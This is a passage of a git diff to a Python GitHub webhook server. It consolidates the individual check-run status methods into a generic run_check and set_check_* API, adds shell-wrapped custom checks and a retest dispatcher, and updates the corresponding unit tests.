self.check_run_handler.set_check_failure(name=check_config.name, output=output) + + # Build command with worktree path substitution + # Use replace() instead of format() to avoid KeyError on other braces in user commands + cmd = check_config.command.replace("{worktree_path}", worktree_path) + # NOTE: Removed debug log of command to prevent secret leakage + + # Execute command - use cwd if configured, otherwise command should include paths + cwd = worktree_path if check_config.use_cwd else None + try: + rc, out, err = await run_command( + command=cmd, + log_prefix=self.log_prefix, + mask_sensitive=self.github_webhook.mask_sensitive, + cwd=cwd, + ) + except TimeoutError: + self.logger.error(f"{self.log_prefix} Check {check_config.name} timed out") + output["text"] = "Command execution timed out" + return await self.check_run_handler.set_check_failure(name=check_config.name, output=output) + + output["text"] = self.check_run_handler.get_check_run_text(err=err, out=out) + + if rc: + self.logger.info(f"{self.log_prefix} Check {check_config.name} completed successfully") + return await self.check_run_handler.set_check_success(name=check_config.name, output=output) + else: + self.logger.info(f"{self.log_prefix} Check {check_config.name} failed") + return await self.check_run_handler.set_check_failure(name=check_config.name, output=output) + + except asyncio.CancelledError: + self.logger.debug(f"{self.log_prefix} Check {check_config.name} cancelled") + raise # Always re-raise CancelledError + except Exception as ex: + self.logger.exception(f"{self.log_prefix} Check {check_config.name} failed with unexpected error") + error_output: CheckRunOutput = { + "title": check_config.title, + "summary": "Unexpected error during check execution", + "text": f"Error: {ex}", + } + await self.check_run_handler.set_check_failure(name=check_config.name, output=error_output) + raise + async def run_tox(self, pull_request: PullRequest) -> None: if not self.github_webhook.tox: self.logger.debug(f"{self.log_prefix} Tox not configured for this repository") return - if await self.check_run_handler.is_check_run_in_progress(check_run=TOX_STR): - self.logger.debug(f"{self.log_prefix} Check run is in progress, re-running {TOX_STR}.") - python_ver = ( f"--python={self.github_webhook.tox_python_version}" if self.github_webhook.tox_python_version else "" ) - _tox_tests = self.github_webhook.tox.get(pull_request.base.ref, "") - - await self.check_run_handler.set_run_tox_check_in_progress() - - async with self._checkout_worktree(pull_request=pull_request) as (success, worktree_path, out, err): - # Build tox command with worktree path - cmd = f"uvx {python_ver} {TOX_STR} --workdir {worktree_path} --root {worktree_path} -c {worktree_path}" - if _tox_tests and _tox_tests != "all": - tests = _tox_tests.replace(" ", "") - cmd += f" -e {tests}" - self.logger.debug(f"{self.log_prefix} Tox command to run: {cmd}") - - output: dict[str, Any] = { - "title": "Tox", - "summary": "", - "text": None, - } - if not success: - self.logger.error(f"{self.log_prefix} Repository preparation failed for tox") - output["text"] = self.check_run_handler.get_check_run_text(out=out, err=err) - return await self.check_run_handler.set_run_tox_check_failure(output=output) + # Wrap PyGithub property access in asyncio.to_thread to avoid blocking + base_ref = await asyncio.to_thread(lambda: pull_request.base.ref) + _tox_tests = self.github_webhook.tox.get(base_ref, "") - rc, out, err = await run_command( - command=cmd, - log_prefix=self.log_prefix, - mask_sensitive=self.github_webhook.mask_sensitive, - ) + # Build tox command with {worktree_path} placeholder + cmd = f"uvx {python_ver} {TOX_STR} --workdir {{worktree_path}} --root {{worktree_path}} -c {{worktree_path}}" + if _tox_tests and _tox_tests != "all": + tests = _tox_tests.replace(" ", "") + cmd += f" -e {tests}" - output["text"] = self.check_run_handler.get_check_run_text(err=err, out=out) - - if rc: - return await self.check_run_handler.set_run_tox_check_success(output=output) - else: - return await self.check_run_handler.set_run_tox_check_failure(output=output) + check_config = CheckConfig(name=TOX_STR, command=cmd, title="Tox") + await self.run_check(pull_request=pull_request, check_config=check_config) async def run_pre_commit(self, pull_request: PullRequest) -> None: if not self.github_webhook.pre_commit: self.logger.debug(f"{self.log_prefix} Pre-commit not configured for this repository") return - if await self.check_run_handler.is_check_run_in_progress(check_run=PRE_COMMIT_STR): - self.logger.debug(f"{self.log_prefix} Check run is in progress, re-running {PRE_COMMIT_STR}.") - - await self.check_run_handler.set_run_pre_commit_check_in_progress() - - async with self._checkout_worktree(pull_request=pull_request) as (success, worktree_path, out, err): - cmd = f" uvx --directory {worktree_path} {PREK_STR} run --all-files" - - output: dict[str, Any] = { - "title": "Pre-Commit", - "summary": "", - "text": None, - } - if not success: - self.logger.error(f"{self.log_prefix} Repository preparation failed for pre-commit") - output["text"] = self.check_run_handler.get_check_run_text(out=out, err=err) - return await self.check_run_handler.set_run_pre_commit_check_failure(output=output) - - rc, out, err = await run_command( - command=cmd, - log_prefix=self.log_prefix, - mask_sensitive=self.github_webhook.mask_sensitive, - ) - - output["text"] = self.check_run_handler.get_check_run_text(err=err, out=out) - - if rc: - return await self.check_run_handler.set_run_pre_commit_check_success(output=output) - else: - return await self.check_run_handler.set_run_pre_commit_check_failure(output=output) + cmd = f"uvx --directory {{worktree_path}} {PREK_STR} run --all-files" + check_config = CheckConfig(name=PRE_COMMIT_STR, command=cmd, title="Pre-Commit") + await self.run_check(pull_request=pull_request, check_config=check_config) async def run_build_container( self, @@ -278,7 +321,7 @@ async def run_build_container( self.logger.info(f"{self.log_prefix} Check run is in progress, re-running {BUILD_CONTAINER_STR}.") if set_check: - await self.check_run_handler.set_container_build_in_progress() + await self.check_run_handler.set_check_in_progress(name=BUILD_CONTAINER_STR) _container_repository_and_tag = self.github_webhook.container_repository_and_tag( pull_request=pull_request, is_merged=is_merged, tag=tag @@ -310,7 +353,7 @@ async def run_build_container( podman_build_cmd: str = f"podman build {build_cmd}" self.logger.debug(f"{self.log_prefix} Podman build command to run: {podman_build_cmd}") - output: dict[str, Any] = { + output: CheckRunOutput = { "title": "Build container", "summary": "", "text": None, @@ -318,7 +361,7 @@ async def run_build_container( if not success: output["text"] = self.check_run_handler.get_check_run_text(out=out, err=err) if pull_request and set_check: - await self.check_run_handler.set_container_build_failure(output=output) + await self.check_run_handler.set_check_failure(name=BUILD_CONTAINER_STR, output=output) return build_rc, build_out, build_err = await self.run_podman_command( @@ -329,11 +372,11 @@ async def run_build_container( if build_rc: self.logger.info(f"{self.log_prefix} Done building {_container_repository_and_tag}") if pull_request and set_check: - return await self.check_run_handler.set_container_build_success(output=output) + return await self.check_run_handler.set_check_success(name=BUILD_CONTAINER_STR, output=output) else: self.logger.error(f"{self.log_prefix} Failed to build {_container_repository_and_tag}") if pull_request and set_check: - return await self.check_run_handler.set_container_build_failure(output=output) + return await self.check_run_handler.set_check_failure(name=BUILD_CONTAINER_STR, output=output) if push and build_rc: cmd = ( @@ -390,39 +433,15 @@ async def run_install_python_module(self, pull_request: PullRequest) -> None: if not self.github_webhook.pypi: return - if await self.check_run_handler.is_check_run_in_progress(check_run=PYTHON_MODULE_INSTALL_STR): - self.logger.info(f"{self.log_prefix} Check run is in progress, re-running {PYTHON_MODULE_INSTALL_STR}.") - - self.logger.info(f"{self.log_prefix} Installing python module") - await self.check_run_handler.set_python_module_install_in_progress() - async with self._checkout_worktree(pull_request=pull_request) as (success, worktree_path, out, err): - output: dict[str, Any] = { - "title": "Python module installation", - "summary": "", - "text": None, - } - if not success: - output["text"] = self.check_run_handler.get_check_run_text(out=out, err=err) - return await self.check_run_handler.set_python_module_install_failure(output=output) - - rc, out, err = await run_command( - command=f"uvx pip wheel --no-cache-dir -w {worktree_path}/dist {worktree_path}", - log_prefix=self.log_prefix, - mask_sensitive=self.github_webhook.mask_sensitive, - ) - - output["text"] = self.check_run_handler.get_check_run_text(err=err, out=out) - - if rc: - return await self.check_run_handler.set_python_module_install_success(output=output) - - return await self.check_run_handler.set_python_module_install_failure(output=output) + cmd = "uvx pip wheel --no-cache-dir -w {worktree_path}/dist {worktree_path}" + check_config = CheckConfig(name=PYTHON_MODULE_INSTALL_STR, command=cmd, title="Python module installation") + await self.run_check(pull_request=pull_request, check_config=check_config) async def run_conventional_title_check(self, pull_request: PullRequest) -> None: if not self.github_webhook.conventional_title: return - output: dict[str, str] = { + output: CheckRunOutput = { "title": "Conventional Title", "summary": "PR title follows Conventional Commits format", "text": ( @@ -435,13 +454,14 @@ async def run_conventional_title_check(self, pull_request: PullRequest) -> None: if await self.check_run_handler.is_check_run_in_progress(check_run=CONVENTIONAL_TITLE_STR): self.logger.info(f"{self.log_prefix} Check run is in progress, re-running {CONVENTIONAL_TITLE_STR}.") - await self.check_run_handler.set_conventional_title_in_progress() + await self.check_run_handler.set_check_in_progress(name=CONVENTIONAL_TITLE_STR) allowed_names = [name.strip() for name in self.github_webhook.conventional_title.split(",") if name.strip()] title = pull_request.title self.logger.debug(f"{self.log_prefix} Conventional title check for title: {title}, allowed: {allowed_names}") - if any([re.match(rf"^{re.escape(_name)}(\([^)]+\))?!?: .+", title) for _name in allowed_names]): - await self.check_run_handler.set_conventional_title_success(output=output) + # Use generator expression instead of list comprehension inside any() for efficiency + if any(re.match(rf"^{re.escape(_name)}(\([^)]+\))?!?: .+", title) for _name in allowed_names): + await self.check_run_handler.set_check_success(name=CONVENTIONAL_TITLE_STR, output=output) else: output["title"] = "❌ Conventional Title" output["summary"] = "Conventional Commit Format Violation" @@ -478,7 +498,40 @@ async def run_conventional_title_check(self, pull_request: PullRequest) -> None: **Resources:** - [Conventional Commits v1.0.0 Specification](https://www.conventionalcommits.org/en/v1.0.0/) """ - await self.check_run_handler.set_conventional_title_failure(output=output) + await self.check_run_handler.set_check_failure(name=CONVENTIONAL_TITLE_STR, output=output) + + async def run_custom_check( + self, + pull_request: PullRequest, + check_config: dict[str, Any], + ) -> None: + """Run a custom check defined in repository configuration. + + This method wraps the unified run_check() method for custom checks. + Custom checks use cwd mode (execute command in worktree directory). + + Note: name and command validation happens in GithubWebhook._validate_custom_check_runs() + when custom checks are first loaded. Invalid checks are filtered out at that stage. + """ + # name and command are guaranteed to exist (validated at load time) + check_name = check_config["name"] + command = check_config["command"] + + # Wrap command in shell to support shell syntax (env vars, pipes, subshells, etc.) + # This is safe for custom checks since they are explicitly user-defined commands. + # Using shlex.quote() ensures the command is properly escaped when passed as + # a single argument to /bin/sh -c, so shlex.split() produces: + # ['/bin/sh', '-c', 'JIRA_TOKEN="xxx" tox -e verify-bugs-are-open-gh'] + shell_wrapped_command = f"/bin/sh -c {shlex.quote(command)}" + + # Custom checks run with cwd set to worktree directory + unified_config = CheckConfig( + name=check_name, + command=shell_wrapped_command, + title=f"Custom Check: {check_name}", + use_cwd=True, + ) + await self.run_check(pull_request=pull_request, check_config=unified_config) async def is_branch_exists(self, branch: str) -> Branch: return await asyncio.to_thread(self.repository.get_branch, branch) @@ -494,7 +547,7 @@ async def cherry_pick(self, pull_request: PullRequest, target_branch: str, revie await asyncio.to_thread(pull_request.create_issue_comment, err_msg) else: - await self.check_run_handler.set_cherry_pick_in_progress() + await self.check_run_handler.set_check_in_progress(name=CHERRY_PICKED_LABEL) commit_hash = pull_request.merge_commit_sha commit_msg_striped = pull_request.title.replace("'", "") pull_request_url = pull_request.html_url @@ -516,14 +569,14 @@ async def cherry_pick(self, pull_request: PullRequest, target_branch: str, revie f"into {target_branch}' -m 'requested-by {requested_by}'\"", ] - output = { + output: CheckRunOutput = { "title": "Cherry-pick details", "summary": "", "text": None, } if not success: output["text"] = self.check_run_handler.get_check_run_text(out=out, err=err) - await self.check_run_handler.set_cherry_pick_failure(output=output) + await self.check_run_handler.set_check_failure(name=CHERRY_PICKED_LABEL, output=output) for cmd in commands: rc, out, err = await run_command( @@ -534,7 +587,7 @@ async def cherry_pick(self, pull_request: PullRequest, target_branch: str, revie ) if not rc: output["text"] = self.check_run_handler.get_check_run_text(err=err, out=out) - await self.check_run_handler.set_cherry_pick_failure(output=output) + await self.check_run_handler.set_check_failure(name=CHERRY_PICKED_LABEL, output=output) redacted_out = _redact_secrets( out, [github_token], @@ -565,7 +618,56 @@ async def cherry_pick(self, pull_request: PullRequest, target_branch: str, revie output["text"] = self.check_run_handler.get_check_run_text(err=err, out=out) - await self.check_run_handler.set_cherry_pick_success(output=output) + await self.check_run_handler.set_check_success(name=CHERRY_PICKED_LABEL, output=output) await asyncio.to_thread( pull_request.create_issue_comment, f"Cherry-picked PR {pull_request.title} into {target_branch}" ) + + async def run_retests(self, supported_retests: list[str], pull_request: PullRequest) -> None: + """Run the specified retests for a pull request. + + Args: + supported_retests: List of test names to run (e.g., ['tox', 'pre-commit']) + pull_request: The PullRequest object to run tests for + """ + if not supported_retests: + self.logger.debug(f"{self.log_prefix} No retests to run") + return + + # Map check names to runner functions + _retests_to_func_map: dict[str, Callable[..., Coroutine[Any, Any, None]]] = { + TOX_STR: self.run_tox, + PRE_COMMIT_STR: self.run_pre_commit, + BUILD_CONTAINER_STR: self.run_build_container, + PYTHON_MODULE_INSTALL_STR: self.run_install_python_module, + CONVENTIONAL_TITLE_STR: self.run_conventional_title_check, + } + + # Add custom check runs to the retest map + # Note: custom checks are validated in GithubWebhook._validate_custom_check_runs() + # so name is guaranteed to exist + for custom_check in self.github_webhook.custom_check_runs: + check_key = custom_check["name"] + _retests_to_func_map[check_key] = partial(self.run_custom_check, check_config=custom_check) + + tasks: list[Coroutine[Any, Any, Any] | Task[Any]] = [] + scheduled_tests: list[str] = [] + for _test in supported_retests: + runner = _retests_to_func_map.get(_test) + if runner is None: + self.logger.error(f"{self.log_prefix} Unknown retest '{_test}' requested, skipping") + continue + self.logger.debug(f"{self.log_prefix} running retest {_test}") + task = asyncio.create_task(runner(pull_request=pull_request)) + tasks.append(task) + scheduled_tests.append(_test) + + results = await asyncio.gather(*tasks, return_exceptions=True) + for idx, result in enumerate(results): + if isinstance(result, asyncio.CancelledError): + self.logger.debug(f"{self.log_prefix} Retest task cancelled") + raise result # Re-raise CancelledError + elif isinstance(result, BaseException): + # Get the test name from scheduled_tests list for correct error attribution + test_name = scheduled_tests[idx] if idx < len(scheduled_tests) else "unknown" + self.logger.error(f"{self.log_prefix} Retest '{test_name}' failed: {result}") diff --git a/webhook_server/tests/conftest.py b/webhook_server/tests/conftest.py index 3665b48d..d9c90894 100644 --- a/webhook_server/tests/conftest.py +++ b/webhook_server/tests/conftest.py @@ -14,6 +14,9 @@ os.environ["ENABLE_LOG_SERVER"] = "true" from webhook_server.libs.github_api import GithubWebhook +# Test token constant - single source of truth for all test mocks +TEST_GITHUB_TOKEN = "ghp_testtoken123" # pragma: allowlist secret + # OWNERS test data - single source of truth for all test fixtures # This constant is used by both Repository.get_contents() and owners_files_test_data fixture OWNERS_TEST_DATA: dict[str, dict[str, list[str] | bool]] = { diff --git a/webhook_server/tests/test_check_run_handler.py b/webhook_server/tests/test_check_run_handler.py index bbdfe45c..9a85f7b1 100644 --- a/webhook_server/tests/test_check_run_handler.py +++ b/webhook_server/tests/test_check_run_handler.py @@ -47,6 +47,7 @@ def mock_github_webhook(self) -> Mock: mock_webhook.container_repository_username = "test-user" mock_webhook.container_repository_password = "test-pass" # pragma: allowlist secret mock_webhook.ctx = None + mock_webhook.custom_check_runs = [] return mock_webhook @pytest.fixture @@ -114,291 +115,255 @@ async def test_process_pull_request_check_run_webhook_data_completed_normal( assert result is True @pytest.mark.asyncio - async def test_set_verify_check_queued(self, check_run_handler: CheckRunHandler) -> None: - """Test setting verify check to queued status.""" + async def test_set_check_queued_verified(self, check_run_handler: CheckRunHandler) -> None: + """Test setting verified check to queued status using generic method.""" with patch.object(check_run_handler, "set_check_run_status") as mock_set_status: - await check_run_handler.set_verify_check_queued() - mock_set_status.assert_called_once_with(check_run=VERIFIED_LABEL_STR, status=QUEUED_STR) + await check_run_handler.set_check_queued(name=VERIFIED_LABEL_STR) + mock_set_status.assert_called_once_with(check_run=VERIFIED_LABEL_STR, status=QUEUED_STR, output=None) @pytest.mark.asyncio - async def test_set_verify_check_success(self, check_run_handler: CheckRunHandler) -> None: - """Test setting verify check to success status.""" + async def test_set_check_success_verified(self, check_run_handler: CheckRunHandler) -> None: + """Test setting verified check to success status using generic method.""" with patch.object(check_run_handler, "set_check_run_status") as mock_set_status: - await check_run_handler.set_verify_check_success() - mock_set_status.assert_called_once_with(check_run=VERIFIED_LABEL_STR, conclusion=SUCCESS_STR) + await check_run_handler.set_check_success(name=VERIFIED_LABEL_STR) + mock_set_status.assert_called_once_with(check_run=VERIFIED_LABEL_STR, conclusion=SUCCESS_STR, output=None) @pytest.mark.asyncio - async def test_set_run_tox_check_queued_enabled(self, check_run_handler: CheckRunHandler) -> None: - """Test setting tox check to queued when tox is enabled.""" - with patch.object(check_run_handler.github_webhook, "tox", True): - with patch.object(check_run_handler, "set_check_run_status") as mock_set_status: - await check_run_handler.set_run_tox_check_queued() - mock_set_status.assert_called_once_with(check_run=TOX_STR, status=QUEUED_STR) - - @pytest.mark.asyncio - async def test_set_run_tox_check_queued_disabled(self, check_run_handler: CheckRunHandler) -> None: - """Test setting tox check to queued when tox is disabled.""" - with patch.object(check_run_handler.github_webhook, "tox", False): - with patch.object(check_run_handler, "set_check_run_status") as mock_set_status: - await check_run_handler.set_run_tox_check_queued() - mock_set_status.assert_not_called() + async def test_set_check_queued_tox(self, check_run_handler: CheckRunHandler) -> None: + """Test setting tox check to queued status.""" + with patch.object(check_run_handler, "set_check_run_status") as mock_set_status: + await check_run_handler.set_check_queued(name=TOX_STR) + mock_set_status.assert_called_once_with(check_run=TOX_STR, status=QUEUED_STR, output=None) @pytest.mark.asyncio - async def test_set_run_tox_check_in_progress(self, check_run_handler: CheckRunHandler) -> None: + async def test_set_check_in_progress_tox(self, check_run_handler: CheckRunHandler) -> None: """Test setting tox check to in progress status.""" with patch.object(check_run_handler, "set_check_run_status") as mock_set_status: - await check_run_handler.set_run_tox_check_in_progress() + await check_run_handler.set_check_in_progress(name=TOX_STR) mock_set_status.assert_called_once_with(check_run=TOX_STR, status=IN_PROGRESS_STR) @pytest.mark.asyncio - async def test_set_run_tox_check_failure(self, check_run_handler: CheckRunHandler) -> None: + async def test_set_check_failure_tox(self, check_run_handler: CheckRunHandler) -> None: """Test setting tox check to failure status.""" output = {"title": "Test failed", "summary": "Test summary"} with patch.object(check_run_handler, "set_check_run_status") as mock_set_status: - await check_run_handler.set_run_tox_check_failure(output) + await check_run_handler.set_check_failure(name=TOX_STR, output=output) mock_set_status.assert_called_once_with(check_run=TOX_STR, conclusion=FAILURE_STR, output=output) @pytest.mark.asyncio - async def test_set_run_tox_check_success(self, check_run_handler: CheckRunHandler) -> None: + async def test_set_check_success_tox(self, check_run_handler: CheckRunHandler) -> None: """Test setting tox check to success status.""" output = {"title": "Test passed", "summary": "Test summary"} with patch.object(check_run_handler, "set_check_run_status") as mock_set_status: - await check_run_handler.set_run_tox_check_success(output) + await check_run_handler.set_check_success(name=TOX_STR, output=output) mock_set_status.assert_called_once_with(check_run=TOX_STR, conclusion=SUCCESS_STR, output=output) @pytest.mark.asyncio - async def test_set_run_pre_commit_check_queued_enabled(self, check_run_handler: CheckRunHandler) -> None: - """Test setting pre-commit check to queued when pre-commit is enabled.""" - check_run_handler.github_webhook.pre_commit = True - with patch.object(check_run_handler, "set_check_run_status") as mock_set_status: - await check_run_handler.set_run_pre_commit_check_queued() - mock_set_status.assert_called_once_with(check_run=PRE_COMMIT_STR, status=QUEUED_STR) - - @pytest.mark.asyncio - async def test_set_run_pre_commit_check_queued_disabled(self, check_run_handler: CheckRunHandler) -> None: - """Test setting pre-commit check to queued when pre-commit is disabled.""" - check_run_handler.github_webhook.pre_commit = False + async def test_set_check_queued_pre_commit(self, check_run_handler: CheckRunHandler) -> None: + """Test setting pre-commit check to queued status.""" with patch.object(check_run_handler, "set_check_run_status") as mock_set_status: - await check_run_handler.set_run_pre_commit_check_queued() - mock_set_status.assert_not_called() + await check_run_handler.set_check_queued(name=PRE_COMMIT_STR) + mock_set_status.assert_called_once_with(check_run=PRE_COMMIT_STR, status=QUEUED_STR, output=None) @pytest.mark.asyncio - async def test_set_run_pre_commit_check_in_progress(self, check_run_handler: CheckRunHandler) -> None: + async def test_set_check_in_progress_pre_commit(self, check_run_handler: CheckRunHandler) -> None: """Test setting pre-commit check to in progress status.""" with patch.object(check_run_handler, "set_check_run_status") as mock_set_status: - await check_run_handler.set_run_pre_commit_check_in_progress() + await check_run_handler.set_check_in_progress(name=PRE_COMMIT_STR) mock_set_status.assert_called_once_with(check_run=PRE_COMMIT_STR, status=IN_PROGRESS_STR) @pytest.mark.asyncio - async def test_set_run_pre_commit_check_failure(self, check_run_handler: CheckRunHandler) -> None: + async def test_set_check_failure_pre_commit(self, check_run_handler: CheckRunHandler) -> None: """Test setting pre-commit check to failure status.""" output = {"title": "Pre-commit failed", "summary": "Pre-commit summary"} with patch.object(check_run_handler, "set_check_run_status") as mock_set_status: - await check_run_handler.set_run_pre_commit_check_failure(output) + await check_run_handler.set_check_failure(name=PRE_COMMIT_STR, output=output) mock_set_status.assert_called_once_with(check_run=PRE_COMMIT_STR, conclusion=FAILURE_STR, output=output) @pytest.mark.asyncio - async def test_set_run_pre_commit_check_failure_no_output(self, check_run_handler: CheckRunHandler) -> None: + async def test_set_check_failure_pre_commit_no_output(self, check_run_handler: CheckRunHandler) -> None: """Test setting pre-commit check to failure status without output.""" with patch.object(check_run_handler, "set_check_run_status") as mock_set_status: - await check_run_handler.set_run_pre_commit_check_failure() + await check_run_handler.set_check_failure(name=PRE_COMMIT_STR) mock_set_status.assert_called_once_with(check_run=PRE_COMMIT_STR, conclusion=FAILURE_STR, output=None) @pytest.mark.asyncio - async def test_set_run_pre_commit_check_success(self, check_run_handler: CheckRunHandler) -> None: + async def test_set_check_success_pre_commit(self, check_run_handler: CheckRunHandler) -> None: """Test setting pre-commit check to success status.""" output = {"title": "Pre-commit passed", "summary": "Pre-commit summary"} with patch.object(check_run_handler, "set_check_run_status") as mock_set_status: - await check_run_handler.set_run_pre_commit_check_success(output) + await check_run_handler.set_check_success(name=PRE_COMMIT_STR, output=output) mock_set_status.assert_called_once_with(check_run=PRE_COMMIT_STR, conclusion=SUCCESS_STR, output=output) @pytest.mark.asyncio - async def test_set_run_pre_commit_check_success_no_output(self, check_run_handler: CheckRunHandler) -> None: + async def test_set_check_success_pre_commit_no_output(self, check_run_handler: CheckRunHandler) -> None: """Test setting pre-commit check to success status without output.""" with patch.object(check_run_handler, "set_check_run_status") as mock_set_status: - await check_run_handler.set_run_pre_commit_check_success() + await check_run_handler.set_check_success(name=PRE_COMMIT_STR) mock_set_status.assert_called_once_with(check_run=PRE_COMMIT_STR, conclusion=SUCCESS_STR, output=None) @pytest.mark.asyncio - async def test_set_merge_check_queued(self, check_run_handler: CheckRunHandler) -> None: - """Test setting merge check to queued status.""" + async def test_set_check_queued_can_be_merged(self, check_run_handler: CheckRunHandler) -> None: + """Test setting can-be-merged check to queued status using generic method.""" output = {"title": "Merge check", "summary": "Merge summary"} with patch.object(check_run_handler, "set_check_run_status") as mock_set_status: - await check_run_handler.set_merge_check_queued(output) + await check_run_handler.set_check_queued(name=CAN_BE_MERGED_STR, output=output) mock_set_status.assert_called_once_with(check_run=CAN_BE_MERGED_STR, status=QUEUED_STR, output=output) @pytest.mark.asyncio - async def test_set_merge_check_queued_no_output(self, check_run_handler: CheckRunHandler) -> None: - """Test setting merge check to queued status without output.""" + async def test_set_check_queued_can_be_merged_no_output(self, check_run_handler: CheckRunHandler) -> None: + """Test setting can-be-merged check to queued status without output using generic method.""" with patch.object(check_run_handler, "set_check_run_status") as mock_set_status: - await check_run_handler.set_merge_check_queued() + await check_run_handler.set_check_queued(name=CAN_BE_MERGED_STR) mock_set_status.assert_called_once_with(check_run=CAN_BE_MERGED_STR, status=QUEUED_STR, output=None) @pytest.mark.asyncio - async def test_set_merge_check_in_progress(self, check_run_handler: CheckRunHandler) -> None: - """Test setting merge check to in progress status.""" + async def test_set_check_in_progress_can_be_merged(self, check_run_handler: CheckRunHandler) -> None: + """Test setting can-be-merged check to in progress status using generic method.""" with patch.object(check_run_handler, "set_check_run_status") as mock_set_status: - await check_run_handler.set_merge_check_in_progress() + await check_run_handler.set_check_in_progress(name=CAN_BE_MERGED_STR) mock_set_status.assert_called_once_with(check_run=CAN_BE_MERGED_STR, status=IN_PROGRESS_STR) @pytest.mark.asyncio - async def test_set_merge_check_success(self, check_run_handler: CheckRunHandler) -> None: - """Test setting merge check to success status.""" + async def test_set_check_success_can_be_merged(self, check_run_handler: CheckRunHandler) -> None: + """Test setting can-be-merged check to success status using generic method.""" with patch.object(check_run_handler, "set_check_run_status") as mock_set_status: - await check_run_handler.set_merge_check_success() - mock_set_status.assert_called_once_with(check_run=CAN_BE_MERGED_STR, conclusion=SUCCESS_STR) + await check_run_handler.set_check_success(name=CAN_BE_MERGED_STR) + mock_set_status.assert_called_once_with(check_run=CAN_BE_MERGED_STR, conclusion=SUCCESS_STR, output=None) @pytest.mark.asyncio - async def test_set_merge_check_failure(self, check_run_handler: CheckRunHandler) -> None: - """Test setting merge check to failure status.""" + async def test_set_check_failure_can_be_merged(self, check_run_handler: CheckRunHandler) -> None: + """Test setting can-be-merged check to failure status using generic method.""" output = {"title": "Merge failed", "summary": "Merge summary"} with patch.object(check_run_handler, "set_check_run_status") as mock_set_status: - await check_run_handler.set_merge_check_failure(output) + await check_run_handler.set_check_failure(name=CAN_BE_MERGED_STR, output=output) mock_set_status.assert_called_once_with(check_run=CAN_BE_MERGED_STR, conclusion=FAILURE_STR, output=output) @pytest.mark.asyncio - async def test_set_container_build_queued_enabled(self, check_run_handler: CheckRunHandler) -> None: - """Test setting container build check to queued when container build is enabled.""" - with patch.object(check_run_handler.github_webhook, "build_and_push_container", True): - with patch.object(check_run_handler, "set_check_run_status") as mock_set_status: - await check_run_handler.set_container_build_queued() - mock_set_status.assert_called_once_with(check_run=BUILD_CONTAINER_STR, status=QUEUED_STR) - - @pytest.mark.asyncio - async def test_set_container_build_queued_disabled(self, check_run_handler: CheckRunHandler) -> None: - """Test setting container build check to queued when container build is disabled.""" - with patch.object(check_run_handler.github_webhook, "build_and_push_container", False): - with patch.object(check_run_handler, "set_check_run_status") as mock_set_status: - await check_run_handler.set_container_build_queued() - mock_set_status.assert_not_called() + async def test_set_check_queued_container_build(self, check_run_handler: CheckRunHandler) -> None: + """Test setting container build check to queued status.""" + with patch.object(check_run_handler, "set_check_run_status") as mock_set_status: + await check_run_handler.set_check_queued(name=BUILD_CONTAINER_STR) + mock_set_status.assert_called_once_with(check_run=BUILD_CONTAINER_STR, status=QUEUED_STR, output=None) @pytest.mark.asyncio - async def test_set_container_build_in_progress(self, check_run_handler: CheckRunHandler) -> None: + async def test_set_check_in_progress_container_build(self, check_run_handler: CheckRunHandler) -> None: """Test setting container build check to in progress status.""" with patch.object(check_run_handler, "set_check_run_status") as mock_set_status: - await check_run_handler.set_container_build_in_progress() + await check_run_handler.set_check_in_progress(name=BUILD_CONTAINER_STR) mock_set_status.assert_called_once_with(check_run=BUILD_CONTAINER_STR, status=IN_PROGRESS_STR) @pytest.mark.asyncio - async def test_set_container_build_success(self, check_run_handler: CheckRunHandler) -> None: + async def test_set_check_success_container_build(self, check_run_handler: CheckRunHandler) -> None: """Test setting container build check to success status.""" output = {"title": "Container built", "summary": "Container summary"} with patch.object(check_run_handler, "set_check_run_status") as mock_set_status: - await check_run_handler.set_container_build_success(output) + await check_run_handler.set_check_success(name=BUILD_CONTAINER_STR, output=output) mock_set_status.assert_called_once_with( check_run=BUILD_CONTAINER_STR, conclusion=SUCCESS_STR, output=output ) @pytest.mark.asyncio - async def test_set_container_build_failure(self, check_run_handler: CheckRunHandler) -> None: + async def test_set_check_failure_container_build(self, check_run_handler: CheckRunHandler) -> None: """Test setting container build check to failure status.""" output = {"title": "Container build failed", "summary": "Container summary"} with patch.object(check_run_handler, "set_check_run_status") as mock_set_status: - await check_run_handler.set_container_build_failure(output) + await check_run_handler.set_check_failure(name=BUILD_CONTAINER_STR, output=output) mock_set_status.assert_called_once_with( check_run=BUILD_CONTAINER_STR, conclusion=FAILURE_STR, output=output ) @pytest.mark.asyncio - async def test_set_python_module_install_queued_enabled(self, check_run_handler: CheckRunHandler) -> None: - """Test setting python module install check to queued when pypi is enabled.""" - check_run_handler.github_webhook.pypi = {"token": "test"} + async def test_set_check_queued_python_module_install(self, check_run_handler: CheckRunHandler) -> None: + """Test setting python module install check to queued status.""" with patch.object(check_run_handler, "set_check_run_status") as mock_set_status: - await check_run_handler.set_python_module_install_queued() - mock_set_status.assert_called_once_with(check_run=PYTHON_MODULE_INSTALL_STR, status=QUEUED_STR) - - @pytest.mark.asyncio - async def test_set_python_module_install_queued_disabled(self, check_run_handler: CheckRunHandler) -> None: - """Test setting python module install check to queued when pypi is disabled.""" - with patch.object(check_run_handler.github_webhook, "pypi", None): - with patch.object(check_run_handler, "set_check_run_status") as mock_set_status: - await check_run_handler.set_python_module_install_queued() - mock_set_status.assert_not_called() + await check_run_handler.set_check_queued(name=PYTHON_MODULE_INSTALL_STR) + mock_set_status.assert_called_once_with(check_run=PYTHON_MODULE_INSTALL_STR, status=QUEUED_STR, output=None) @pytest.mark.asyncio - async def test_set_python_module_install_in_progress(self, check_run_handler: CheckRunHandler) -> None: + async def test_set_check_in_progress_python_module_install(self, check_run_handler: CheckRunHandler) -> None: """Test setting python module install check to in progress status.""" with patch.object(check_run_handler, "set_check_run_status") as mock_set_status: - await check_run_handler.set_python_module_install_in_progress() + await check_run_handler.set_check_in_progress(name=PYTHON_MODULE_INSTALL_STR) mock_set_status.assert_called_once_with(check_run=PYTHON_MODULE_INSTALL_STR, status=IN_PROGRESS_STR) @pytest.mark.asyncio - async def test_set_python_module_install_success(self, check_run_handler: CheckRunHandler) -> None: + async def test_set_check_success_python_module_install(self, check_run_handler: CheckRunHandler) -> None: """Test setting python module install check to success status.""" output = {"title": "Module installed", "summary": "Module summary"} with patch.object(check_run_handler, "set_check_run_status") as mock_set_status: - await check_run_handler.set_python_module_install_success(output) + await check_run_handler.set_check_success(name=PYTHON_MODULE_INSTALL_STR, output=output) mock_set_status.assert_called_once_with( check_run=PYTHON_MODULE_INSTALL_STR, conclusion=SUCCESS_STR, output=output ) @pytest.mark.asyncio - async def 